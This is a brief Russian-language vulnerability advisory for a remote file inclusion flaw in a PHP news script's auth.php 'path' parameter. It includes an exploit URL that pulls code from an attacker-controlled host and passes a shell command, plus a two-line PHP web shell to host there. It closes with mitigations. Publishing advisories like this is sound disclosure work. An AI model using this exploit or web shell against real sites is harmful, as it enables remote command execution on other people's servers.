Описание:
Уязвимость в скрипте auth.php, в переменной path, возможна подмена локального файла, на удаленный.
Пример:
http://path/to/php/news/auth.php?path=http://path/to/exploit/&c=uname%20-a
В примере требуется чтобы на вашем хосте (http://path/to/exploit/), была создана директория «languages»,в которой должен лежать файл «en_GB.admin.lng», а его содержимое может быть к примеру таким:
$rawr=$_GET['c'];
echo(`$rawr`);
?>
Решение:
1. Запретите с помощью файла .htaccess доступ к скрипту auth.php.
2. Пропишите в этом скрипте статическое значение параметра $path.